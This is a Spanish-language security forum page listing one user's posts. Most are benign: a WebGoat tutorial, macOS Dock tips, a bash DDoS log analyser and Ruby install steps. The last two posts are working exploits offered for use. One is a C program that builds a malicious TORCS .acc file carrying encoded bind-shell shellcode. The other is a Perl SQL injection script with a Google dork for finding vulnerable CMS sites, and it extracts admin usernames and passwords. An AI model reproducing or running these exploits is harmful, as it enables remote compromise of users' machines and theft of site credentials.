Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - s3cur1tyr00t

#1
Buenas noches,

A continuación les paso un video de como resolver el ejercicio Ajax/ClientSideFiltering de WebGoat - OWASP

Si les gusta, la idea sería armar uno o dos a la semana hasta resolver todos los ejercicios.

Mirar el video desde ScireLabs: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (Link caido)

Mirar video en Youtube:



Saludos,
#2
Off Topic / Artículo Pentest Magazine
Marzo 12, 2013, 01:02:33 PM
Buenas,

Hoy me enviaron un correo invitándome a escribir un artículo para Pentest Magazine (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta);

"Hi!
I'm representative from PenTest Magazine and I'd like to ask you if you want to write some article for our magazine.
I hope you will agree for it. Look forward for your reply, even if you're not interested in my offer.
Best regards,
Bartlomiej Helinski".

Como no se me ocurre sobre que escribir, se me ocurrió preguntarles que tema les gustaría-interesa leer sobre pentesting así de paso ya escribo algo que le interese a la comunidad.

Bueno, supongo que para mañana ya debería tener definido el tema.... cualquier aporte es bienvenido!.

Saludos,
#3
MAC OSX / Agregar Recent Applications al Dock
Diciembre 07, 2012, 12:44:10 AM
Bueno,

Como muchos sabran, apple tiene una serie de tips & tricks que sus usuarios pueden aprovechar para hacer de sus sistema operativo aun mas potente y usable.

Aqui les muestro como agregar una carpeta al dock con las ultima aplicaciones abiertas para que no tengan que buscarlas si necesitan volver a usarlas luego de cerrarlas:

Ejecuta en una terminal:
Código: text

sudo defaults write com.apple.dock persistent-others -array-add '{ "tile-data" = { "list-type" = 1; }; "tile-type" = "recents-tile"; }'


Reinicia el dock para que tenga efecto:

Código: text
killall Dock


Para que se vea mas "cool" puedes agregarle iconos a la lista del dock:

Código: text
defaults write com.apple.dock use-new-list-stack -bool YES


Vuelve a reiniciar el dock para que tenga efecto.

Si no te gusta la lista, puedes usar grid o fan.
#4
Buenas,

Un cliente nos llamo por un supuesto ataque de denegacion de servicio que sufrieron hace algunos dias. Baiscamente la arquitectura es un RP (ReverseProxy), con mod_security & mod_evasive, un proxy IBM (Webseal), dos servidores de aplicaciones y una base de datos con su correspondiente stand by. Los equipos se encuentran en vlans separadas, las comunicaciones se hacen mediante un FW (Firewall) ASA (Cisco).

Mod_Security & mod_evasive estaban desactivados para el sitio que supuestamente fue atacado.

El FW no estaba logueando paquetes que deja pasar, ni tampoco aquellos que dropea. Esto hizo que el analisis del supuesto ataque DDos no se pudiera comenzar por el FW. Las graficas del iClass del servicio mostraban una saturacion de 24 horas. Estaba saturada tanto la salida como la bajada.

En base a esto comence a analizar los access_logs (posterior a una revission del log de messages y security). El RP contiene mas de 50 vhosts, analizar uno a uno se estaba volviendo un dolor de cabeza interminable.

Se me ocurrio hacer un pequeño (y muy basico), script que  me ayudara a analizar rapidamente los logs.

Desarrolle una tool bien básica que nos permite determinar ataques DDos, Ataques DDos mediante botnets, Uer Agents con mayor actividad y cantidad de conexiones activas en un momento determinado para poder detectar un DDos en tiempo real:

1.- La opción uno analiza la cantidad de peticiones de una ip determinada. Esto lo hace leyendo sobre el archivo de logs o el directorio donde se encuentran los archivos.

La primera columna es la cantidad de peticiones, la segunda son las ip's.

2.- La opción dos permite identificar si hubo algún ataque ocasionado por una botnet. Cuando se ataca con botnets, en los access_logs quedan patrones muy específicos. Por ejemplo: muchísimos gets a un archivo especifico y no a todo el sitio.

3.- La opción tres permite detectar cuales son los user agents con mayor actividad. En algunos casos, cuando se realizan ddoss con tools especificas, estas vienen con sus propios user agents, lo cual hace que sea bastante sencillo detectarlos.

4.- La opción cuatro permite detectar en tiempo real la cantidad de conexiones activas al servidor y sus ip's de origen. Sirve mas que nada para detectar ataques DDos en tiempo real. Una opción interesante que le agregue es la posibilidad de guardar en un log la cantidad de conexiones activas en un momento determinado para poder analizarlo luego.

Como les comentaba, la herramienta es muy sencilla, basica y hecha en 10 minutos (puede tener errores). Esta hecha en bash, usa netstat, awk y algunos comandos bastante básicos de linux.

Código: text
#!/bin/bash
#Beta Version developed by s3cur1tyr00t

bold=`tput bold`
normal=`tput sgr0`
menu="
      ${bold}
      ########################################
      # 1.- Cantidad de peticiones por IP    #
      # 2.- URL's con mayor acceso (Botnet?) #
      # 3.- User Agents con mayor actividad  #
      # 4.- Cantidad de conexiones activas   #
      # 5.- Cerrar                           #
      ########################################
      ${normal}
     "

echo "$menu "

read option

case "$option" in

    1)  echo "Ingreso la opcion ${bold}$option
        ${normal}Escriba ruta del archivo de logs (ruta del directorio para buscar en todos los archivos): "
        read log_file
        tail -n 10000 $log_file | cut -f 1 -d ' ' | sort | uniq -c | sort -nr | more
        ;;

    2)  echo "Ingreso la opcion ${bold}$option
        ${normal}Escriba ruta del archivo de logs (ruta del directorio para buscar en todos los archivos): "
        read log_file
        cut -f 2 -d '"' $log_file | cut -f 2 -d ' ' | sort | uniq -c | sort -nr | more
        ;;

    3)  echo "Ingreso la opcion ${bold}$option
        ${normal}Escriba ruta del archivo de logs (ruta del directorio para buscar en todos los archivos): "
        read log_file
        cut -f 4 -d '"' $log_file | sort | uniq -c | sort -nr | more
        ;;

    4)  echo "Ingreso la opcion ${bold}$option
        ${normal}Cantidad de conexiones activas: "
            netstat -an | grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
            echo    "
              ${bold}Que desea hacer?${normal}
                     1.- Guardar Salida en archivo de log
                     2.- Salir
                    "
            read output

                case "$output" in

                    1)  echo "Defina nombre archivo: "
                        read file_name
                        netstat -an | grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n > $file_name
                        ;;

                    2)  exit
                        ;;
                esac
        ;;
    5)  exit
        ;;
esac
exit
#5
Ruby / Instalar Ruby 1.9 en CentOS 6
Junio 25, 2012, 01:40:44 AM
Nos encanta CentOS es una distribución grande ... El problema es que tienen la peor selección de paquetes actualizados. Si usted quiere tener su servidor con las últimas versiones de software, probablemente usted tendrá que compilar las bibliotecas.

Instalar & Configurar Ruby:
Código: text
$ sudo yum groupinstall 'Development Tools'
$ sudo yum install readline-devel
$ cd /usr/local/src
$ wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p0.tar.gz
$ tar xzvf ruby-1.9.3-p0.tar.gz
$ cd ruby-1.9.3-p0
$ ./configure && make $ sudo make install


Otra forma de instalarlo:

Primero instale dependencias:
Código: text
yum install httpd-devel openssl-devel zlib-devel gcc gcc-c++ curl-devel expat-devel gettext-devel mysql-server readline-devel


Instalar & Configurar Ruby:
Código: text
yum install -y rpm-build rpmdevtools
rpmdev-setuptree
cd ~/rpmbuild/SOURCES
wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p0.tar.gz
cd ~/rpmbuild/SPECS
curl https://raw.github.com/lnxchk/ruby-1.9.3-rpm/master/ruby193.spec > ruby193.spec
rpmbuild -bb ruby193.spec
rpm -Uvh ~/rpmbuild/RPMS/x86_64/ruby-1.9.3p0-1.${ARCH}.rpm
#6
C / C++ / [Exploit] TORCS acc Buffer Overflow
Junio 25, 2012, 01:31:37 AM
Código: c
/* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */

/*
    This exploit generates a corrupted acc file
    which has to be saved in the directories where
    TORCS loads its data, for example replace
    cars/car4-trb1/car4-trb1.acc and put test.acc or create
    a new car/track and select it in the TORCS menu
*/


#include <stdio.h>
#include <stdlib.h>

/*
   Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
   Encoder: x86/shikata_ga_nai
*/

unsigned char buf[] =
"\xbd\x2e\xed\xb6\x2d\xdd\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x6e\x0f\x03\x6e\x21\x0f\x43\xd1\xd5\x46"
"\xac\x2a\x25\x39\x24\xcf\x14\x6b\x52\x9b\x04\xbb\x10\xc9\xa4"
"\x30\x74\xfa\x3f\x34\x51\x0d\x88\xf3\x87\x20\x09\x32\x08\xee"
"\xc9\x54\xf4\xed\x1d\xb7\xc5\x3d\x50\xb6\x02\x23\x9a\xea\xdb"
"\x2f\x08\x1b\x6f\x6d\x90\x1a\xbf\xf9\xa8\x64\xba\x3e\x5c\xdf"
"\xc5\x6e\xcc\x54\x8d\x96\x67\x32\x2e\xa6\xa4\x20\x12\xe1\xc1"
"\x93\xe0\xf0\x03\xea\x09\xc3\x6b\xa1\x37\xeb\x66\xbb\x70\xcc"
"\x98\xce\x8a\x2e\x25\xc9\x48\x4c\xf1\x5c\x4d\xf6\x72\xc6\xb5"
"\x06\x57\x91\x3e\x04\x1c\xd5\x19\x09\xa3\x3a\x12\x35\x28\xbd"
"\xf5\xbf\x6a\x9a\xd1\xe4\x29\x83\x40\x41\x9c\xbc\x93\x2d\x41"
"\x19\xdf\xdc\x96\x1b\x82\x88\x5b\x16\x3d\x49\xf3\x21\x4e\x7b"
"\x5c\x9a\xd8\x37\x15\x04\x1e\x37\x0c\xf0\xb0\xc6\xae\x01\x98"
"\x0c\xfa\x51\xb2\xa5\x82\x39\x42\x49\x57\xed\x12\xe5\x07\x4e"
"\xc3\x45\xf7\x26\x09\x4a\x28\x56\x32\x80\x5f\x50\xfc\xf0\x0c"
"\x37\xfd\x06\xa3\x9b\x88\xe1\xa9\x33\xdd\xba\x45\xf6\x3a\x73"
"\xf2\x09\x69\x2f\xab\x9d\x25\x39\x6b\xa1\xb5\x6f\xd8\x0e\x1d"
"\xf8\xaa\x5c\x9a\x19\xad\x48\x8a\x50\x96\x1b\x40\x0d\x55\xbd"
"\x55\x04\x0d\x5e\xc7\xc3\xcd\x29\xf4\x5b\x9a\x7e\xca\x95\x4e"
"\x93\x75\x0c\x6c\x6e\xe3\x77\x34\xb5\xd0\x76\xb5\x38\x6c\x5d"
"\xa5\x84\x6d\xd9\x91\x58\x38\xb7\x4f\x1f\x92\x79\x39\xc9\x49"
"\xd0\xad\x8c\xa1\xe3\xab\x90\xef\x95\x53\x20\x46\xe0\x6c\x8d"
"\x0e\xe4\x15\xf3\xae\x0b\xcc\xb7\xdf\x41\x4c\x91\x77\x0c\x05"
"\xa3\x15\xaf\xf0\xe0\x23\x2c\xf0\x98\xd7\x2c\x71\x9c\x9c\xea"
"\x6a\xec\x8d\x9e\x8c\x43\xad\x8a";

// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";

int main(int argc, char **argv) {

    FILE *save_fd;
    int i=0;

    save_fd = fopen("test.acc", "w");

    if (save_fd == NULL) {
        printf("Failed to open '%s' for writing", "test.acc");
        return -1;
    }

    fprintf(save_fd, "AC3Db\n");
    fprintf(save_fd, "MATERIAL \"");
    for(i=0; i < 607; i++) {
        putc('\x90', save_fd);
    }
    fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4  amb 0.8 0.8 0.8  emis 0.4 0.4 0.4  spec 0.5 0.5 0.5  shi 50  trans 0\n", buf, function_pointer);
    fprintf(save_fd, "OBJECT world\n");
    fprintf(save_fd, "kids %d\n", 5);

    close(save_fd);

    return 0;
}
#7
EDB-ID: 12301   CVE: 2010-5057   OSVDB-ID: 63929
Author: Andrés Gómez   Published: 2010-04-19   Verified:
Exploit Code:      Vulnerable App:   N/A
   
Código: perl
use LWP::Simple;
################################################################
# Malicious users may inject SQL querys into a vulnerable
# application to fool a user in order to gather data from them or see sensible information.
################################################################
# Solution:
# $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
# $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
################################################################
my $target = $ARGV[0];
unless ($target) { print "\n Inyector Remoto -- HYPERNETHOST &amp;
Security-Pentest -- Andres Gomez\n\n";
print "\ Dork: allinurl: detResolucion.php?tipodoc_id=\n";
print "\nEjemplo Ejecucion = AriadnaCms.pl
http://www.sitio.extension/path/\n" ; exit 1; }
$sql =
"detResolucion.php?tipodoc_id=33+and+1=0+union+select+concat(0x7365637572697479,adm_nombre,0x3a,0x70656e74657374,adm_clave)+from+administrador--";
$final = $target.$sql;
$contenido = get($final);
print "\n\n[+] Pagina Web: $target\n\n";
if ($contenido =~/security(.*):pentest(.*)/) {
print "[-] Datos extraidos con exito:\n\n";
print "[+] Usuario = $1\n";
print "[+] Password = $2\n";
} else {
print "[-] No se obtuvieron datos\n\n";
exit 1;
}
print "\n[ñ] Escriba exit para salir de la aplicacion\n";
exit 1;